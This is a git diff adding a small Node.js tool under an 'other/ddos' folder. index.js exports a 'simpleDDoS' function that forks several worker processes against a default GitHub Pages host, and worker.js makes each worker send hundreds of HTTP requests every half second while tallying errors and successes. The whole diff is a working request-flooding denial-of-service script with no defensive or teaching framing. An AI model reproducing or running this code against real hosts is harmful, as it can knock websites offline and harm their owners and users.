diff --git a/other/ddos/index.html b/other/ddos/index.html new file mode 100644 index 0000000..8da2cb1 --- /dev/null +++ b/other/ddos/index.html @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/other/ddos/index.js b/other/ddos/index.js new file mode 100644 index 0000000..ed7a1da --- /dev/null +++ b/other/ddos/index.js @@ -0,0 +1,29 @@ +import cluster from 'cluster' +import { red, cyan, blue } from 'colorette' + +export const simpleDDoS = (threads = 5, host = 'https://t0m0t0w.github.io', amount = 500, interval = 500) => { + // Spawn main process + cluster.setupMaster({ + exec: `${process.cwd()}/worker.js`, + args: [host, amount, interval] + }) + + // Count threads + let threadsCount = 0 + + for (let i = 0; i < threads; i++) { + cluster.fork() + + threadsCount++ + } + + cluster.on( + 'exit', + (worker, code, signal) => + void code !== 0 && + console.log( + red(` +Worker ${worker.process.pid} died. Before the death he said ${signal}.`) + ) + ) +} \ No newline at end of file diff --git a/other/ddos/worker.js b/other/ddos/worker.js new file mode 100644 index 0000000..1462adb --- /dev/null +++ b/other/ddos/worker.js @@ -0,0 +1,37 @@ +import { red, blue } from 'colorette' +import fetch from 'node-fetch' + +// Count errors & successful requests +let errors = 0, + success = 0, + errorMessages = [] + +function worker(host, amount, interval) { + // Send requests with interval + setInterval(() => { + for (let i = 0; i < amount; i++) { + let isFailedRequest = false + + fetch(host) + .catch((err) => { + if (err) { + if (!errorMessages.includes(err.code)) { + errorMessages.push(err.code) + console.log(`Error: ${red(err)}`) + } + isFailedRequest = true + errors++ + } + }) + .then(() => { + if (!isFailedRequest) { + success++ + } + isFailedRequest = false + }) + } + console.log(`Errors: ${red(errors)} Success: ${blue(success)}`) + }, interval) +} + +worker(process.argv[2], process.argv[3], process.argv[4]) \ No newline at end of file